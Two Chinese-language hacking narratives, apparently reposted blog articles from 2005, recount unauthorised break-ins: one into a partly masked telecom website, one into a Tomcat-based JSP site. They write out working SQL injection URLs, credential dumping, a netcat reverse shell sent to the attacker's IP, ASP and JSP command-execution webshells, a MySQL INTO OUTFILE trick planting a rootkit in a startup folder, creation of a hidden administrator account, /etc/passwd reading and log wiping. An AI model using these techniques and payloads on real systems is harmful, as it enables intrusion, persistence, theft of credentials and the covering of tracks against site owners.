2005年07月23日

渗透XX电信 取得最高权限
文章作者:Andyower
在半年前,曾经入侵过**电信,当时只是留下了一个webshell就跑了,最近上来看,没了。只能重新动手了,再次郁闷中。
打开http://www.****le.com。**电信网站,随便打开个新闻
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
尝试在后面加个’,
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0′
再次再次郁闷,过滤了,返回正常页面,再次提交
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0 and 1=2

还是返回正常页面….
等等,这个链接好面熟,小生似乎在哪见过…
因为本人对这些什么文章系统都不是很认识,而且记性非常非常的差…..(一跟烟的工夫)
终于,想起,以前也入侵过相同的文章系统,哈哈,那就好办了,把以前的方法搬出来。最记得的是,密码是明文的,对于现在来说,很难得了(现在知道是什么文章系统了,叫做惠信新闻管理系统)
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343′&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
(在NewsID这个变量没有过滤,嘿嘿,记得我在一年半前,根本没有NBSI,密码帐号都是自己手工猜的,辛苦,想想现在的人真幸福….)
哈哈,出现
HTTP 500.100 – 内部服务器错误 – ASP 错误
接着提交
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343 and 1=1&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
恩!正常页面!
再次提交
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343 and 1=2&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
HTTP 500.100 – 内部服务器错误 – ASP 错误
帅,有戏了。
不可能自己再次回到原始时代吧……
把链接改一下
原来的是
http://www.****le.com/newsxp/ReadNews.asp?NewsID=343&BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0
改成
http://www.****le.com/newsxp/ReadNews.asp?BigClassName=新闻中心&SmallClassName=省内新闻&SpecialID=0&NewsID=343
把NewsID=343移到的最后面,方便NBSI自动破解密码
打开NBSI,让它自动跑吧
再抽跟烟,烟抽完了,密码也出来了^_^
[id]:13 [username]:order [passwd]:leader
嘿嘿,开始找后台了
尝试
http://www.****le.com/newsxp/admin
出现:
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.
目录存在
提交:
http://www.****le.com/newsxp/admin/login.asp
哈哈,出来了,要我帐号密码
把NBSI猜测出的帐号密码添进去
进去了,第一件事情,上传个webshell
太熟悉了,找到
·上传管理·
其它图文上传
因为这里,在以前我试过,可以上传任何的文件,当然包括*.asp了
找了个webshell,提交
昏!

无法找到网页
管理员把这个上传页面删除了。可恶的卑鄙的管理员,比Vanishs还卑鄙的管理员…………
没办法,在管理界面,仔细看看
看见了 文件管理
不包任何的希望,点了一下,因为在以前,那个页面被删除了
虽然这样,但是还是要试一下的
这次又郁闷了..
既然开得开这个链接
http://www.****le.com/newsxp/webedit/index.asp
又跳出个登陆框,要我输入帐号密码
但是,在下面
既然有这个东西

管理员:master 密码:123
试一下
…….
好可爱的管理员啊…
这么容易就把我放进去….


管他,马上上传去,选择好webshell,点击上传文件
&&***%&$$#$#
出现
HTTP 500.100 – 内部服务器错误 – ASP 错误

返回管理页面看看,有个跳转,输入c:\
看看能不能直接当成webshell用,结果跳出
目录中有非法字符
没办法了,只能改它文件了,直接把一个asp改成webshell,因为有编辑功能
随便找和文件,我选择的是1.asp
然后复制,在最上面有个复制的按钮,就在那个剪刀的左面
然后,在左面,随便点开个目录,我点的是admin
然后点击那个剪刀右面的粘贴的图标…
一盆冷水泼了过来,出现
HTTP 500.100 – 内部服务器错误 – ASP 错误
难道说,目录不可写?

那我找可以写的目录
images目录绝对可以写,要不然,管理员怎么上穿那么多的图片在那
跳转到/admin/images/
再次粘贴
靠!
还是
HTTP 500.100 – 内部服务器错误 – ASP 错误
没办法只能真正改写文件了
找一个不用的文件,把webshell内容写进去,然后把名字改成1.asp
/include/计数器说明.txt
呵呵,这个文件应该不会用到了吧.
记住他的时间和里面的内容先
到时候好用工具改写回来
2004-2-23 19:26:00

OK!该名成功,改成了1.asp
看来,目录是可以写的,但是,应该程序的问题
文件管理系统应该有问题,要不然,不会出现复制文件出错的.
好,现在把webshlll写进去
哈哈,写进去了,看看能不能执行
http://www.****le.com/include/1.asp
结果….
直接跳转回
http://www.****le.com/
靠!
什么玩意啊!
难道说,这个目录又不能访问?
不可能吧!
尝试同目录下的
http://www.****le.com/include/index1×1.gif
晕!可以正常显示!
难道说被杀毒软件给杀了吗?还是被杀毒软件隔离了?
不可能啊.我再次刷新,然后编辑1.asp,还是可以用的
那是什么回事?
把1.asp里面的内容改成"Andyower"看看
提交
http://www.****le.com/include/1.asp
显示
Andyower
无语了…
够绝!可恶的卑鄙的管理员,比Vanishs还卑鄙的管理员……
骂完了,舒服多了:)我发现这种发泄方式不错,哈哈,看黑防学到的.
试一下那些小木马,我就拿了冰狐浪子微型ASP后门客户端2.0测试版
把代码写进去,然后,连接!
嘿嘿!所有信息都出来了.
看来是可以运行的,好的,换个功能强大点的小木马,砍刀的.
我翻我翻翻翻!直接就看见了海洋
试一下能不能用,编辑原来的1.asp,把海洋直接粘贴进去,保存
http://www.****le.com/include/1.asp
既然可以用!
晕!难道说,ASP站长助手6.0已经被列入病毒行列了?
可怜…..
运行cmd功能看看!
netstat -an
出来了好多!没有开21,也没有开3389
看来不能用SERV-U提升权限了
还开了53端口,恐怖…..
8080开了,难道被人先入侵了?弄成了肉鸡?(后来才知道,原来是安装了resin,java开的)
翻翻他的其他盘看看,有什么可以利用的吗
发现Mysql,马上上传个php木马,试一下,能不能用默认的root登陆Mysql
又一次的失望,服务器没有装php解析器,想想,应该asp也可以直接连接MySql的吧.
google上搜索,终于发现了2篇这样的文章,因为本人很菜,所以没有成功,希望知道者可以告诉Andyower 是为什么,篇幅问题,就不列出来了.
这时,又想到,反弹一个shell,然后通过mysql.exe直接连接,能不能用root连接(3306端口已经被过滤)。
上传nc.exe 到
d:\**teleweb\include\nc.exe
在本机
nc -vv -l -p 80
在海洋的cmd里运行
d:\**teleweb\include\nc.exe -e cmd.exe -e cmd MyIp 80
一会儿,我的nc有反应了
好,开始动工
cd d:\mysql\bin
mysql.exe -u root test

运行了,结果,shell死掉了,心痛啊!本来以为这个shell不会像溢出得到的shell一样软弱的,结果,它还是光荣的倒下了.
此路不通!
再翻翻,又让我看见了个好东西
resin,是用来运行jsp的,嘿嘿!
有戏了,因为他装了Mysql,应该就是用jsp来操作的!
刚刚翻了很久,都不见有jsp文件的存在,再翻下去会累死人的!
在cmd那
dir /s d:\*.jsp
看他还不来!果真!出来了,在d:\**teleweb\question 目录!
慢慢找!说不定让我找到Mysql的密码哈哈!
可是.找了很久,连个密码的影子都不见,算了,不找了,我直接操作数据库!
找到
d:\**teleweb\question\check.jsp文件
找到关键代码
把其他不重要的,都删除.
我就留下
<%@page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" import="java.util.*" import="java.io.*" import="news.ggExchange.*"%>
<jsp:useBean id="sdteledb" scope="application" class="sdteledb.sdteledb" />
<%sdteledb.setConnection();%>
<%
String sql2 = "select * from userinfo";
ResultSet rset2=sdteledb.executeQuery(sql2);
sdteledb.closeConn();
%>
然后保存成hk.jsp
以后就可以直接在 String sql2 = "";
马上在里面写Sql代码
String sql2 = "select id from userinfo into outfile ‘d:\**teleweb\question\1.txt’";
看看能不能成功
http://www.****le.com/question/hk.jsp
晕!
错误!!

500 Servlet Exception
大哥,怎么会这样的!
翻出以前的书查查看,angel是这样写的!
select * from table into outfile ‘c:/file.txt’
看清楚了,原来是反斜杠的问题!难怪啊!以前在入侵其他的php网站的时候,我从来都没有成功的into outfile过,当时我心里就一直在骂angel,上辈子一定是卖狗皮膏药的…..
现在发现是自己错了,都怪自己粗心,在这里,诚心的像angel道歉,angel对不起啦,错怪你了,原来你上辈子不是卖狗皮膏药的^_^
好,把原来的代码改过来
就直接用
select * from table into outfile ‘c:/file.txt’吧
运行
http://www.****le.com/question/hk.jsp

返回空白!马上到c盘看看
file.txt乖乖的躺在那呢,安全第一,删除!
现在该看看哪个管理员经常登陆了
net user 回车
sdweb 上次登录           2005/1/14 下午 04:21
这个管理员看来还有点勤快,就他了

嘿嘿!

ok!我马上弄个ntrootkit上去,让管理员一上线,就马上运行了.先用海洋把配置好的ntrootkit,上传到他的d:\resin目录
然后呢!
<%@page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" import="java.util.*" import="java.io.*" import="news.ggExchange.*"%>
<jsp:useBean id="sdteledb" scope="application" class="sdteledb.sdteledb" />
<%sdteledb.setConnection();%>
<%
String sql2 = "CREATE TABLE shell ( shell TEXT NOT NULL );";
sdteledb.executeQuery(sql2);
sql2 = "INSERT INTO shell ( shell ) VALUES (‘d:\\\\resin\\\\ntrootkit.exe’);";
sdteledb.executeQuery(sql2);
sql2 = "SELECT * FROM shell into outfile ‘SELECT * FROM shell into outfile ‘C:\Documents and Settings\sdweb\ 「开始」菜单 \程序\启动\shell.bat’;";
sdteledb.executeQuery(sql2);
sql2 = "drop TABLE shell;";
sdteledb.executeQuery(sql2);
sdteledb.closeConn();
%>


关于sql2 = "INSERT INTO shell ( shell ) VALUES (‘d:\\\\resin\\\\ntrootkit.exe’);";
这里,为什么要在路径那加4个"\"的问题,我刚刚开始的时候,测试过了,加1个到3个,都不能正确插入"d:\resin\ntrootkit.exe"到表里,而按照我写的,shell.bat里面的内容是
d:\\resin\\ntrootkit.exe

虽然多了一个"\",但是还是可以正确运行的.
剩下的时间,就是等待了,等待管理员的重新启动再登陆.
这个时候,无聊中,想起lcx大哥和pinkeyes大哥写的一篇文章,他们在Linux下直接用个jsp木马就可以得到root,不知道在windows下是不是也可以呢,如果可以的话,那可以就不用等待了!马上,翻出jsp的木马.
编辑d:\**teleweb\question\hk.jsp
把下面的代码写进去
<%@ page import="java.io.*" %>
<%
  try {
        String cmd = request.getParameter("cmd");
        Process child = Runtime.getRuntime().exec(cmd);
        InputStream in = child.getInputStream();
        int c;
        while ((c = in.read()) != -1) {
          out.print((char)c);
        }
        in.close();
        try {
          child.waitFor();
        } catch (InterruptedException e) {
          e.printStackTrace();
        }
    } catch (IOException e) {
        System.err.println(e);
    }
%>

提交
http://www.****le.com/question/hk.jsp?cmd=net%20user%20Andyower%201111%20/add
图5


再提交
http://www.****le.com/question/hk.jsp?cmd=net%20LOCALGROUP%20Administrators%20Andyower%20/add

成功!
在海洋的cmd里
net user Andyower
看看


看见没有?
admin权限的啊!
真想不到jsp在windows下也是用那么高的权限运行的!
文章到这就结束了,后面的事情就简单了.也不想进一步的入侵了.毕竟,我可不想被抓去坐牢,我还年轻^=^
后记:翻文件的时候,我看见了**电信的论坛是动网的,而且数据库默认没改,虽然论坛不能正常进入,但是还是可以下载数据库.新闻系统的默认数据库也没有改.



补:这也是以前写的东西了,哎。。。技术不行……就一直保留着到了现在.
本来是有图片的,但是没有地方放,就只能算了…

2005年05月24日

现场纪实:如何入侵基于JSP的网站
来源:www.hackbase.com 

很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]


返回的结果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

〈h1〉Error: 404〈/h1〉
〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL


获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

回忆一下,大概是通过“..”技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)


看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:

http://target:8080/admin/


管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。

接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

〈%@ page import="java.io.*" %〉
〈%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"〈br〉");
}
}catch(IOException e){}
%〉

然后执行:

http://target:8080/upload/test.jsp?file=/etc/passwd

密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。

再写一个JSP文件:

〈%@ page import="java.io.*" %〉
〈%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%〉


然后把这个JSP再通过upload上传,有SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/
(详细结果这里就不列出来了)


怎么获得root权限呢?经过一番搜索发现系统安装了MySQL,并且从JSP的源代码中得到了MySQL的密码,执行:

sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld

显示:

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

系统是以root身份运行的MySQL。这时我思考了一下,既然知道了MySQL的密码,那就可以写一个SHELL程序,让它创建一个表,然后将我的数据放到表中,再使用“select … into outfile;”的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?黑客就采用的这种办法)。

之后就比较简单了,上传bindshell之类的程序,运行、获得nobody的权限,使用su root时帮忙创建的setuid shell让自己成为root。

但是,接下来已经实际操作,结果令人颇感意外:

http://target:8080/upload/cmd.jsp?cmd=id

显示:

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx)

原来这个WEB SHELL本来就是ROOT!管理员的安全设置工作到底怎么做的?

http://target:8080/upload/cmd.jsp?cmd=ps+aux
果然是root身份运行的(不列出来了)


剩下的事情:

1、删除我的telnet记录。

2、删除http的日志。

清除日志我使用的办法是:cat xxx |grep -V "IP" 〉〉temp然后在把temp覆盖那些被我修改过的日志文件。

说明一点,我没有更换该网站的页面,因为我只是个网络安全爱好者。所以,发封邮件告诉system admin吧!当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴!